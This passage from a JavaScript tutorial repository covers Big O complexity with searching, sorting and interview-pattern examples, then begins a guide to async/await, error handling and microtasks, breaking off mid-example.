O(n²)\n// The n² dominates, so we say this function is O(n²)\n```\n\n---\n\n## JavaScript Built-in Methods Complexity\n\nKnowing these helps you make better decisions:\n\n### Array Methods\n\n| Method | Complexity | Why |\n|--------|------------|-----|\n| `push()`, `pop()` | O(1) | End operations, no shifting |\n| `shift()`, `unshift()` | O(n) | Must re-index all elements |\n| `splice()` | O(n) | May shift elements |\n| `slice()` | O(n) | Creates copy of portion |\n| `indexOf()`, `includes()` | O(n) | Linear search |\n| `find()`, `findIndex()` | O(n) | Linear search |\n| `map()`, `filter()`, `forEach()` | O(n) | Visits each element |\n| `sort()` | O(n log n) | V8 uses [TimSort](https://v8.dev/blog/array-sort) since 2019 |\n\n### Object, Map, and Set\n\n| Operation | Object | Map | Set |\n|-----------|--------|-----|-----|\n| Get/Set/Has | O(1) | O(1) | O(1) |\n| Delete | O(1) | O(1) | O(1) |\n| Keys/Values | O(n) | O(n) | O(n) |\n\n<Tip>\n**Use Set.has() instead of Array.includes()** when checking membership repeatedly. Set lookups are O(1) while array searches are O(n).\n</Tip>\n\n---\n\n## Searching Algorithms\n\n### Linear Search - O(n)\n\nCheck each element one by one. Simple but slow for large arrays.\n\n```javascript\nfunction linearSearch(arr, target) {\n  for (let i = 0; i < arr.length; i++) {\n    if (arr[i] === target) return i\n  }\n  return -1\n}\n\nlinearSearch([3, 7, 1, 9, 4], 9)  // Returns 3\n```\n\n### Binary Search - O(log n)\n\nDivide and conquer on a **sorted** array. Eliminates half the remaining elements each step. As noted in *Introduction to Algorithms* (Cormen et al.), binary search is one of the most efficient search algorithms with guaranteed O(log n) worst-case performance.\n\n```javascript\nfunction binarySearch(arr, target) {\n  let left = 0\n  let right = arr.length - 1\n  \n  while (left <= right) {\n    const mid = Math.floor((left + right) / 2)\n    \n    if (arr[mid] === target) return mid\n    if (arr[mid] < target) left = mid + 1\n    else right = mid - 1\n  }\n  \n  return -1\n}\n\nbinarySearch([1, 3, 5, 7, 9, 11, 13], 9)  // Returns 4\n```\n\n<Warning>\n**Binary search requires a sorted array.** If your data isn't sorted, you'll need to sort it first O(n log n) or use linear search.\n</Warning>\n\n---\n\n## Sorting Algorithms\n\n### Quick Reference\n\n| Algorithm | Best | Average | Worst | Space | Use When |\n|-----------|------|---------|-------|-------|----------|\n| Bubble Sort | O(n)* | O(n²) | O(n²) | O(1) | Never in production |\n| Merge Sort | O(n log n) | O(n log n) | O(n log n) | O(n) | Need guaranteed performance |\n| Quick Sort | O(n log n) | O(n log n) | O(n²) | O(log n)** | General purpose |\n| JS `sort()` | O(n log n) | O(n log n) | O(n log n) | O(n) | Most cases |\n\n*Bubble sort achieves O(n) best case only with early termination optimization (when no swaps needed).\n**Quick sort space is O(log n) average case, O(n) worst case due to recursion stack depth.\n\n### Bubble Sort - O(n²)\n\nRepeatedly swaps adjacent elements if they're in wrong order. Educational, but too slow for real use.\n\n```javascript\nfunction bubbleSort(arr) {\n  const result = [...arr]\n  const n = result.length\n  \n  for (let i = 0; i < n; i++) {\n    let swapped = false\n    \n    for (let j = 0; j < n - i - 1; j++) {\n      if (result[j] > result[j + 1]) {\n        [result[j], result[j + 1]] = [result[j + 1], result[j]]\n        swapped = true\n      }\n    }\n    \n    // If no swaps occurred, array is sorted\n    if (!swapped) break\n  }\n  \n  return result\n}\n```\n\n### Merge Sort - O(n log n)\n\nDivide array in half, sort each half, merge them back. Consistent performance with guaranteed O(n log n).\n\n```javascript\nfunction mergeSort(arr) {\n  if (arr.length <= 1) return arr\n  \n  const mid = Math.floor(arr.length / 2)\n  const left = mergeSort(arr.slice(0, mid))\n  const right = mergeSort(arr.slice(mid))\n  \n  return merge(left, right)\n}\n\nfunction merge(left, right) {\n  const result = []\n  let i = 0\n  let j = 0\n  \n  while (i < left.length && j < right.length) {\n    if (left[i] <= right[j]) {\n      result.push(left[i])\n      i++\n    } else {\n      result.push(right[j])\n      j++\n    }\n  }\n  \n  return result.concat(left.slice(i)).concat(right.slice(j))\n}\n\nmergeSort([38, 27, 43, 3, 9, 82, 10])  // [3, 9, 10, 27, 38, 43, 82]\n```\n\n<Note>\n**In practice, use JavaScript's built-in `sort()`**. Modern browsers typically use Timsort (V8) or similar O(n log n) algorithms optimized for real-world data. Implement your own sorts for learning or when you have specific requirements.\n</Note>\n\n---\n\n## Common Interview Patterns\n\nThese patterns solve many algorithm problems efficiently.\n\n### Two Pointers - O(n)\n\nUse two pointers moving toward each other or in the same direction. Great for sorted arrays and finding pairs.\n\n```javascript\n// Find pair that sums to target in sorted array\nfunction twoSum(arr, target) {\n  let left = 0\n  let right = arr.length - 1\n  \n  while (left < right) {\n    const sum = arr[left] + arr[right]\n    \n    if (sum === target) return [left, right]\n    if (sum < target) left++\n    else right--\n  }\n  \n  return null\n}\n\ntwoSum([1, 3, 5, 7, 9], 12)  // [1, 4] (3 + 9 = 12)\n```\n\n### Sliding Window - O(n)\n\nMaintain a \"window\" that slides through the array. Perfect for subarray problems.\n\n```javascript\n// Maximum sum of k consecutive elements\nfunction maxSumSubarray(arr, k) {\n  if (arr.length < k) return null\n  \n  // Calculate first window\n  let windowSum = 0\n  for (let i = 0; i < k; i++) {\n    windowSum += arr[i]\n  }\n  \n  let maxSum = windowSum\n  \n  // Slide the window: remove left element, add right element\n  for (let i = k; i < arr.length; i++) {\n    windowSum = windowSum - arr[i - k] + arr[i]\n    maxSum = Math.max(maxSum, windowSum)\n  }\n  \n  return maxSum\n}\n\nmaxSumSubarray([2, 1, 5, 1, 3, 2], 3)  // 9 (5 + 1 + 3)\n```\n\n### Frequency Counter - O(n)\n\nUse an object or Map to count occurrences. Avoids nested loops when comparing collections.\n\n```javascript\n// Check if two strings are anagrams\nfunction isAnagram(str1, str2) {\n  if (str1.length !== str2.length) return false\n  \n  const freq = {}\n  \n  // Count characters in first string\n  for (const char of str1) {\n    freq[char] = (freq[char] || 0) + 1\n  }\n  \n  // Subtract counts for second string\n  for (const char of str2) {\n    if (!freq[char]) return false\n    freq[char]--\n  }\n  \n  return true\n}\n\nisAnagram('listen', 'silent')  // true\nisAnagram('hello', 'world')    // false\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Big O measures scalability**, not absolute speed. It tells you how performance changes as input grows.\n\n2. **O(1) and O(log n) are fast**. O(n) is acceptable. O(n²) gets slow quickly. Avoid O(2^n) for any significant input.\n\n3. **Nested loops multiply complexity**. Two nested loops over n = O(n²). Three = O(n³).\n\n4. **Drop constants and lower terms**. O(2n + 100) simplifies to O(n).\n\n5. **Array end operations are O(1)**, beginning operations are O(n). Prefer `push`/`pop` over `shift`/`unshift`.\n\n6. **Use Set for O(1) lookups** instead of `Array.includes()` for repeated membership checks.\n\n7. **Binary search is O(log n)** but requires sorted data. Worth sorting first if you'll search multiple times.\n\n8. **JavaScript's sort() is O(n log n)** in all modern browsers. Use it unless you have specific requirements.\n\n9. **Learn the patterns**: Two pointers, sliding window, and frequency counter solve most interview problems.\n\n10. **Space complexity matters too**. Creating a new array of size n uses O(n) space.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the time complexity of this code?\">\n    ```javascript\n    function mystery(arr) {\n      for (let i = 0; i < arr.length; i++) {\n        for (let j = 0; j < 10; j++) {\n          console.log(arr[i])\n        }\n      }\n    }\n    ```\n    \n    **Answer:** O(n)\n    \n    The outer loop runs n times, but the inner loop always runs exactly 10 times (constant). So it's O(n × 10) = O(10n) = O(n). The constant 10 is dropped.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why is binary search O(log n)?\">\n    **Answer:** Because each comparison eliminates half the remaining elements.\n    \n    With 1,000 elements: 1000 → 500 → 250 → 125 → 62 → 31 → 15 → 7 → 3 → 1\n    \n    That's about 10 steps. log₂(1000) ≈ 10. With 1,000,000 elements, it only takes ~20 steps.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Array has 1 million elements. Which is faster: indexOf() once, or converting to Set then using has()?\">\n    **Answer:** It depends on how many lookups you need.\n    \n    - **One lookup**: `indexOf()` is faster. O(n) vs O(n) for Set creation + O(1) for lookup.\n    - **Many lookups**: Convert to Set first. O(n) creation + O(1) per lookup beats O(n) per lookup.\n    \n    Rule of thumb: If you'll search more than once, use a Set.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's wrong with using bubble sort?\">\n    **Answer:** It's O(n²), making it impractical for large datasets.\n    \n    With 10,000 elements: ~100,000,000 operations. JavaScript's built-in sort() at O(n log n) would take ~130,000 operations for the same data.\n    \n    Bubble sort is useful for learning but should never be used in production code.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How would you find if an array has duplicates in O(n) time?\">\n    **Answer:** Use a Set to track seen elements:\n    \n    ```javascript\n    function hasDuplicates(arr) {\n      const seen = new Set()\n      for (const item of arr) {\n        if (seen.has(item)) return true  // O(1) lookup\n        seen.add(item)                    // O(1) insert\n      }\n      return false\n    }\n    ```\n    \n    This is O(n) time and O(n) space. The naive nested loop approach would be O(n²) time but O(1) space.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What pattern would you use to find the longest substring without repeating characters?\">\n    **Answer:** **Sliding window** with a Set or Map.\n    \n    ```javascript\n    function longestUniqueSubstring(s) {\n      const seen = new Set()\n      let maxLen = 0\n      let left = 0\n      \n      for (let right = 0; right < s.length; right++) {\n        while (seen.has(s[right])) {\n          seen.delete(s[left])\n          left++\n        }\n        seen.add(s[right])\n        maxLen = Math.max(maxLen, right - left + 1)\n      }\n      \n      return maxLen\n    }\n    ```\n    \n    Time: O(n), Space: O(min(n, alphabet size))\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is Big O notation in simple terms?\">\n    Big O notation describes how an algorithm's performance scales as the input grows. O(1) means constant time regardless of input size, O(n) means time grows linearly, and O(n²) means time grows quadratically. It focuses on the worst-case growth rate and ignores constants, so O(2n) simplifies to O(n).\n  </Accordion>\n\n  <Accordion title=\"What is the fastest sorting algorithm in JavaScript?\">\n    JavaScript's built-in `Array.prototype.sort()` uses TimSort in V8 (Chrome, Node.js), which runs in O(n log n) time. For most use cases, the built-in sort is optimal. Merge sort guarantees O(n log n) in all cases, while quicksort averages O(n log n) but can degrade to O(n²) with poor pivot selection.\n  </Accordion>\n\n  <Accordion title=\"How do I determine the time complexity of my code?\">\n    Identify what variable represents your input size (usually array length). Count nested loops: one loop is O(n), two nested loops is O(n²). A loop that halves the input each iteration is O(log n). Then drop constants and lower-order terms — O(2n + 5) becomes O(n), and O(n² + n) becomes O(n²).\n  </Accordion>\n\n  <Accordion title=\"When should I use binary search instead of linear search?\">\n    Use binary search when your data is already sorted and you need to find elements repeatedly. Binary search runs in O(log n) — for a million elements, that is roughly 20 comparisons versus up to 1,000,000 with linear search. If the data is unsorted, the O(n log n) cost of sorting first is only worthwhile if you plan multiple searches.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between time complexity and space complexity?\">\n    Time complexity measures how many operations an algorithm performs as input grows. Space complexity measures how much additional memory it needs. For example, merge sort has O(n log n) time but O(n) space because it creates temporary arrays, while bubble sort has O(n²) time but O(1) space because it sorts in place.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Data Structures\" icon=\"database\" href=\"/concepts/data-structures\">\n    Understanding arrays, objects, Maps, and Sets is essential for choosing the right tool\n  </Card>\n  <Card title=\"Recursion\" icon=\"repeat\" href=\"/concepts/recursion\">\n    Many algorithms like merge sort and binary search can be implemented recursively\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"layer-group\" href=\"/concepts/higher-order-functions\">\n    Map, filter, and reduce are built on these concepts\n  </Card>\n  <Card title=\"Map, Reduce, Filter\" icon=\"filter\" href=\"/concepts/map-reduce-filter\">\n    Understanding the complexity of these common operations\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Array — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array\">\n    Complete reference for array methods and their behavior\n  </Card>\n  <Card title=\"Map — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map\">\n    Hash-based key-value storage with fast lookups\n  </Card>\n  <Card title=\"Set — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set\">\n    O(1) operations for membership testing\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Big O Cheat Sheet\" icon=\"newspaper\" href=\"https://www.bigocheatsheet.com/\">\n    Visual reference for time and space complexity of common algorithms and data structures. Bookmark this one.\n  </Card>\n  <Card title=\"JavaScript Algorithms and Data Structures\" icon=\"newspaper\" href=\"https://github.com/trekhleb/javascript-algorithms\">\n    Comprehensive GitHub repo with 190k+ stars. Every algorithm implemented in JavaScript with explanations.\n  </Card>\n  <Card title=\"Time Complexity of JavaScript Array Methods\" icon=\"newspaper\" href=\"https://dev.to/lukocastillo/time-complexity-big-0-for-javascript-array-methods-and-examples-mlg\">\n    Detailed breakdown of every array method's complexity with examples and explanations.\n  </Card>\n  <Card title=\"Algorithms in Plain English\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/time-is-complex-but-priceless-f0abd015063c/\">\n    FreeCodeCamp's beginner-friendly guide to Big O with real-world analogies.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Big O Notation in 12 Minutes\" icon=\"video\" href=\"https://www.youtube.com/watch?v=itn09C2ZB9Y\">\n    Web Dev Simplified's concise explanation. Perfect if you want the essentials without filler.\n  </Card>\n  <Card title=\"JavaScript Algorithms Playlist\" icon=\"video\" href=\"https://www.youtube.com/playlist?list=PLC3y8-rFHvwiRYB4-HHKHblh3_bQNJTMa\">\n    Codevolution's complete series covering sorting, searching, and common patterns step by step.\n  </Card>\n  <Card title=\"Data Structures and Algorithms in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Gj5qBheGOEo&list=PLWKjhJtqVAbkso-IbgiiP48n-O-JQA9PJ\">\n    FreeCodeCamp's comprehensive 8-hour course. Great for deep learning when you have the time.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/async-await.mdx",
    "content": "---\ntitle: \"async/await\"\nsidebarTitle: \"async/await: Writing Async Code That Looks Synchronous\"\ndescription: \"Learn async/await in JavaScript. Write cleaner async code with try/catch error handling, Promise.all for parallel execution, and more.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Async JavaScript\"\n\"article:tag\": \"async await, async functions, try catch error handling, Promise.all, async patterns\"\n---\n\nWhy does asynchronous code have to look so complicated? What if you could write code that fetches data from a server, waits for user input, or reads files, all while looking as clean and readable as regular synchronous code?\n\n```javascript\n// This is async code that reads like sync code\nasync function getUserData(userId) {\n  const response = await fetch(`/api/users/${userId}`)\n  const user = await response.json()\n  return user\n}\n\n// Using the async function\n(async () => {\n  const user = await getUserData(123)\n  console.log(user.name)  // \"Alice\"\n})()\n```\n\nThat's the magic of **[async/await](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)**. It's syntactic sugar introduced in the ECMAScript 2017 specification that makes asynchronous JavaScript look and behave like synchronous code, while still being non-blocking under the hood. According to the 2023 State of JS survey, async/await has become the most widely used async pattern, adopted by over 90% of JavaScript developers.\n\n<Info>\n**What you'll learn in this guide:**\n- What async/await actually is (and why it's \"just\" Promises underneath)\n- How the `async` keyword transforms functions into Promise-returning functions\n- How `await` pauses execution without blocking the main thread\n- Error handling with try/catch (finally, a sane way to handle async errors!)\n- The critical difference between sequential and parallel execution\n- The most common async/await mistakes and how to avoid them\n- How async/await relates to the event loop and microtasks\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Promises](/concepts/promises). async/await is built entirely on top of them. You should also be familiar with the [Event Loop](/concepts/event-loop) to understand why code after `await` behaves like a microtask.\n</Warning>\n\n---\n\n## What is async/await?\n\nThink of **async/await** as a friendlier way to write [Promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise). You mark a function with `async`, use `await` to pause until a Promise resolves, and your async code suddenly reads like regular synchronous code. The best part? JavaScript stays non-blocking under the hood.\n\nHere's the same operation written three ways:\n\n<Tabs>\n  <Tab title=\"Callbacks (Old Way)\">\n    ```javascript\n    // Callback hell - nested so deep you need a flashlight\n    function getUserPosts(userId, callback) {\n      fetchUser(userId, (err, user) => {\n        if (err) return callback(err)\n        \n        fetchPosts(user.id, (err, posts) => {\n          if (err) return callback(err)\n          \n          fetchComments(posts[0].id, (err, comments) => {\n            if (err) return callback(err)\n            \n            callback(null, { user, posts, comments })\n          })\n        })\n      })\n    }\n    ```\n  </Tab>\n  <Tab title=\"Promises\">\n    ```javascript\n    // Promise chains - better, but still nested\n    function getUserPosts(userId) {\n      return fetchUser(userId)\n        .then(user => {\n          return fetchPosts(user.id)\n            .then(posts => {\n              return fetchComments(posts[0].id)\n                .then(comments => ({ user, posts, comments }))\n            })\n        })\n    }\n    ```\n  </Tab>\n  <Tab title=\"async/await (Modern)\">\n    ```javascript\n    // async/await - reads like synchronous code!\n    async function getUserPosts(userId) {\n      const user = await fetchUser(userId)\n      const posts = await fetchPosts(user.id)\n      const comments = await fetchComments(posts[0].id)\n      return { user, posts, comments }\n    }\n    ```\n  </Tab>\n</Tabs>\n\nThe async/await version is much easier to read. Each line clearly shows what happens next, error handling uses familiar try/catch, and there's no nesting or callback pyramids. As documented on MDN, every `async` function implicitly returns a Promise, making it fully compatible with existing Promise-based APIs.\n\n<Tip>\n**Don't forget:** async/await doesn't replace Promises. It's built on top of them. Every `async` function returns a Promise, and `await` works with any Promise. The better you understand Promises, the better you'll be at async/await.\n</Tip>\n\n---\n\n## The Restaurant Analogy\n\nThink of async/await like ordering food at a restaurant with table service versus a fast-food counter.\n\n**Without async/await (callback style):** You order at the counter, then stand there awkwardly blocking everyone behind you until your food is ready. If you need multiple items, you wait for each one before ordering the next.\n\n**With async/await:** You sit at a table and place your order. The waiter takes it to the kitchen (starts the async operation), but you're free to chat, check your phone, or do other things (the main thread isn't blocked). When the food is ready, the waiter brings it to you (the Promise resolves) and you continue from where you left off.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE RESTAURANT ANALOGY                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   async function dinner() {                                              │\n│                                                                          │\n│     ┌──────────┐     \"I'll have the      ┌─────────────┐                │\n│     │   YOU    │ ──────────────────────► │   KITCHEN   │                │\n│     │  (code)  │     pasta please\"       │  (server)   │                │\n│     └──────────┘     await order()       └─────────────┘                │\n│          │                                     │                         │\n│          │  You're free to do                  │ Kitchen is              │\n│          │  other things while                 │ preparing...            │\n│          │  waiting!                           │                         │\n│          │                                     │                         │\n│          │         \"Your pasta!\"               │                         │\n│     ┌──────────┐ ◄────────────────────── ┌─────────────┐                │\n│     │   YOU    │    Promise resolved     │   KITCHEN   │                │\n│     │  resume  │                         │    done     │                │\n│     └──────────┘                         └─────────────┘                │\n│                                                                          │\n│     return enjoyMeal(pasta)                                              │\n│   }                                                                      │\n│                                                                          │\n│   The KEY: You (the main thread) are NOT blocked while waiting!          │\n│   Other customers (other code) can be served.                            │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nHere's the clever part: `await` makes your code *look* like it's waiting, but JavaScript is actually free to do other work. When the Promise resolves, your function resumes exactly where it left off.\n\n---\n\n## The `async` Keyword\n\nThe [`async`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function) keyword does one simple thing: **it makes a function return a Promise**.\n\n```javascript\n// Regular function\nfunction greet() {\n  return 'Hello'\n}\nconsole.log(greet())  // \"Hello\"\n\n// Async function - automatically returns a Promise\nasync function greetAsync() {\n  return 'Hello'\n}\nconsole.log(greetAsync())  // Promise {<fulfilled>: \"Hello\"}\n```\n\n### What Happens to Return Values?\n\nWhen you return a value from an async function, it gets automatically wrapped in `Promise.resolve()`:\n\n```javascript\nasync function getValue() {\n  return 42\n}\n\n// The above is equivalent to:\nfunction getValuePromise() {\n  return Promise.resolve(42)\n}\n\n// Both work the same way:\ngetValue().then(value => console.log(value))  // 42\n```\n\n### What Happens When You Throw?\n\nWhen you throw an error in an async function, it becomes a rejected Promise:\n\n```javascript\nasync function failingFunction() {\n  throw new Error('Something went wrong!')\n}\n\n// The above is equivalent to:\nfunction failingPromise() {\n  return Promise.reject(new Error('Something went wrong!'))\n}\n\n// Both are caught the same way:\nfailingFunction().catch(err => console.log(err.message))  // \"Something went wrong!\"\n```\n\n### Return a Promise? No Double-Wrapping\n\nIf you return a Promise from an async function, it doesn't get double-wrapped:\n\n```javascript\nasync function fetchData() {\n  // Returning a Promise directly - it's NOT double-wrapped\n  return fetch('/api/data')\n}\n\n// This returns Promise<Response>, NOT Promise<Promise<Response>>\nconst response = await fetchData()\n```\n\n### Async Function Expressions and Arrow Functions\n\nYou can use `async` with function expressions and arrow functions too:\n\n```javascript\n// Async function expression\nconst fetchData = async function() {\n  return await fetch('/api/data')\n}\n\n// Async arrow function\nconst loadData = async () => {\n  return await fetch('/api/data')\n}\n\n// Async arrow function (concise body)\nconst getData = async () => fetch('/api/data')\n\n// Async method in an object\nconst api = {\n  async fetchUser(id) {\n    return await fetch(`/api/users/${id}`)\n  }\n}\n\n// Async method in a class\nclass UserService {\n  async getUser(id) {\n    const response = await fetch(`/api/users/${id}`)\n    return response.json()\n  }\n}\n```\n\n<Warning>\n**Common misconception:** Making a function `async` doesn't make it run in a separate thread or \"in the background.\" JavaScript is still single-threaded. The `async` keyword simply enables the use of `await` inside the function and ensures it returns a Promise.\n</Warning>\n\n---\n\n## The `await` Keyword\n\nThe [`await`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await) keyword is where things get interesting. It **pauses the execution of an async function** until a Promise settles (fulfills or rejects), then resumes with the resolved value.\n\n```javascript\nasync function example() {\n  console.log('Before await')\n  \n  const result = await somePromise()  // Execution pauses here\n  \n  console.log('After await:', result)  // Resumes when Promise resolves\n}\n```\n\n### Where Can You Use await?\n\n`await` can only be used in two places:\n\n1. **Inside an async function**\n2. **At the top level of an ES module** (top-level await, covered later)\n\n```javascript\n// ✓ Inside async function\nasync function fetchUser() {\n  const response = await fetch('/api/user')\n  return response.json()\n}\n\n// ✓ Top-level await in ES modules\n// (in a .mjs file or with \"type\": \"module\" in package.json)\nconst config = await fetch('/config.json').then(r => r.json())\n\n// ❌ NOT in regular functions\nfunction regularFunction() {\n  const data = await fetch('/api/data')  // SyntaxError!\n}\n\n// ❌ NOT in global scope of scripts (non-modules)\nawait fetch('/api/data')  // SyntaxError in non-module scripts\n```\n\n### What Can You await?\n\nYou can `await` any value, but it's most useful with Promises:\n\n```javascript\n// Awaiting a Promise (the normal case)\nconst response = await fetch('/api/data')\n\n// Awaiting Promise.resolve()\nconst value = await Promise.resolve(42)\nconsole.log(value)  // 42\n\n// Awaiting a non-Promise value (works, but pointless)\nconst num = await 42\nconsole.log(num)  // 42 (immediately, no actual waiting)\n\n// Awaiting a thenable (object with .then method)\nconst thenable = {\n  then(resolve) {\n    setTimeout(() => resolve('thenable value'), 1000)\n  }\n}\nconst result = await thenable\nconsole.log(result)  // \"thenable value\" (after 1 second)\n```\n\n<Tip>\n**Pro tip:** Only use `await` when you're actually waiting for a Promise. Awaiting non-Promise values works but adds unnecessary overhead and confuses anyone reading your code.\n</Tip>\n\n<Note>\n**Technical detail:** Even when awaiting an already-resolved Promise or a non-Promise value, execution still pauses until the next microtask. This is why `await` always yields control back to the caller before continuing.\n</Note>\n\n### await Pauses the Function, Not the Thread\n\nThis trips people up. `await` pauses only the async function it's in, not the entire JavaScript thread. Other code can run while waiting:\n\n```javascript\nasync function slowOperation() {\n  console.log('Starting slow operation')\n  await new Promise(resolve => setTimeout(resolve, 2000))\n  console.log('Slow operation complete')\n}\n\nconsole.log('Before calling slowOperation')\nslowOperation()  // Starts but doesn't block\nconsole.log('After calling slowOperation')\n\n// Output:\n// \"Before calling slowOperation\"\n// \"Starting slow operation\"\n// \"After calling slowOperation\"\n// (2 seconds later)\n// \"Slow operation complete\"\n```\n\nNotice that \"After calling slowOperation\" prints before \"Slow operation complete\". The main thread wasn't blocked.\n\n---\n\n## How await Works Under the Hood\n\nLet's peek under the hood at what actually happens. When you `await` a Promise, **the code after the await becomes a microtask** that runs when the Promise resolves.\n\n```javascript\nasync function example() {\n  console.log('1. Before await')      // Runs synchronously\n  await Promise.resolve()\n  console.log('2. After await')       // Runs as a microtask\n}\n\nconsole.log('A. Before call')\nexample()\nconsole.log('B. After call')\n\n// Output:\n// A. Before call\n// 1. Before await\n// B. After call\n// 2. After await\n```\n\nLet's trace through this step by step:\n\n<Steps>\n  <Step title=\"Synchronous code starts\">\n    `console.log('A. Before call')` executes → prints \"A. Before call\"\n  </Step>\n  \n  <Step title=\"Call example()\">\n    The function starts executing synchronously.\n    `console.log('1. Before await')` executes → prints \"1. Before await\"\n  </Step>\n  \n  <Step title=\"Hit the await\">\n    `await Promise.resolve()`. The Promise is already resolved, but the code after `await` is still scheduled as a **microtask**. The function pauses and returns control to the caller.\n  </Step>\n  \n  <Step title=\"Continue after the call\">\n    `console.log('B. After call')` executes → prints \"B. After call\"\n  </Step>\n  \n  <Step title=\"Call stack empties, microtasks run\">\n    The event loop processes the microtask queue. The continuation of `example()` runs.\n    `console.log('2. After await')` executes → prints \"2. After await\"\n  </Step>\n</Steps>\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     await SPLITS THE FUNCTION                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   async function example() {                                             │\n│     console.log('Before')    ──────► Runs SYNCHRONOUSLY                  │\n│                                                                          │\n│     await somePromise()      ──────► PAUSE: Schedule continuation        │\n│                                       as microtask, return to caller     │\n│                                                                          │\n│     console.log('After')     ──────► Runs as MICROTASK when              │\n│   }                                   Promise resolves                   │\n│                                                                          │\n│   ─────────────────────────────────────────────────────────────────────  │\n│                                                                          │\n│   Think of it like this - await transforms the function into:            │\n│                                                                          │\n│   function example() {                                                   │\n│     console.log('Before')                                                │\n│     return somePromise().then(() => {                                    │\n│       console.log('After')                                               │\n│     })                                                                   │\n│   }                                                                      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Note>\nThis is why understanding the [Event Loop](/concepts/event-loop) is so important for async/await. The `await` keyword effectively registers a microtask, which has priority over setTimeout callbacks (macrotasks).\n</Note>\n\n---\n\n## Error Handling with try/catch\n\nFinally, error handling that doesn't make you want to flip a table. Instead of chaining `.catch()` after `.then()` after `.catch()`, you get to use good old try/catch blocks.\n\n### Basic try/catch Pattern\n\n```javascript\nasync function fetchUserData(userId) {\n  try {\n    const response = await fetch(`/api/users/${userId}`)\n    \n    if (!response.ok) {\n      throw new Error(`HTTP error! Status: ${response.status}`)\n    }\n    \n    const user = await response.json()\n    return user\n    \n  } catch (error) {\n    console.error('Failed to fetch user:', error.message)\n    throw error  // Re-throw if you want callers to handle it\n  }\n}\n```\n\n### Catching Different Types of Errors\n\n```javascript\nasync function processOrder(orderId) {\n  try {\n    const order = await fetchOrder(orderId)\n    const payment = await processPayment(order)\n    const shipment = await createShipment(order)\n    return { order, payment, shipment }\n    \n  } catch (error) {\n    // You can check error types\n    if (error.name === 'NetworkError') {\n      console.log('Network issue - please check your connection')\n    } else if (error.name === 'PaymentError') {\n      console.log('Payment failed - please try again')\n    } else {\n      console.log('Unexpected error:', error.message)\n    }\n    throw error\n  }\n}\n```\n\n### The finally Block\n\nThe `finally` block always runs, whether the try succeeded or failed:\n\n```javascript\nasync function fetchWithLoading(url) {\n  showLoadingSpinner()\n  \n  try {\n    const response = await fetch(url)\n    const data = await response.json()\n    return data\n    \n  } catch (error) {\n    showErrorMessage(error.message)\n    throw error\n    \n  } finally {\n    // This ALWAYS runs - perfect for cleanup\n    hideLoadingSpinner()\n  }\n}\n```\n\n### try/catch vs .catch()\n\nBoth approaches work, but they have different use cases:\n\n<Tabs>\n  <Tab title=\"try/catch (Preferred)\">\n    ```javascript\n    // Good for: Multiple awaits where any could fail\n    async function getFullProfile(userId) {\n      try {\n        const user = await fetchUser(userId)\n        const posts = await fetchPosts(userId)\n        const friends = await fetchFriends(userId)\n        return { user, posts, friends }\n      } catch (error) {\n        // Catches any of the three failures\n        console.error('Profile fetch failed:', error)\n        return null\n      }\n    }\n    ```\n  </Tab>\n  <Tab title=\".catch() (Sometimes Better)\">\n    ```javascript\n    // Good for: Handling errors for specific operations\n    async function getProfileWithFallback(userId) {\n      const user = await fetchUser(userId)\n      \n      // Only this operation has fallback behavior\n      const posts = await fetchPosts(userId).catch(() => [])\n      \n      // This will still throw if it fails\n      const friends = await fetchFriends(userId)\n      \n      return { user, posts, friends }\n    }\n    ```\n  </Tab>\n</Tabs>\n\n### Common Error Handling Mistake\n\n<Warning>\n**The Trap:** If you catch an error but don't re-throw it, the Promise resolves successfully (with undefined), not rejects!\n</Warning>\n\n```javascript\n// ❌ WRONG - Error is swallowed, returns undefined\nasync function fetchData() {\n  try {\n    const response = await fetch('/api/data')\n    return await response.json()\n  } catch (error) {\n    console.error('Error:', error)\n    // Missing: throw error\n  }\n}\n\nconst data = await fetchData()  // undefined if there was an error!\n\n// ✓ CORRECT - Re-throw or return a meaningful value\nasync function fetchData() {\n  try {\n    const response = await fetch('/api/data')\n    return await response.json()\n  } catch (error) {\n    console.error('Error:', error)\n    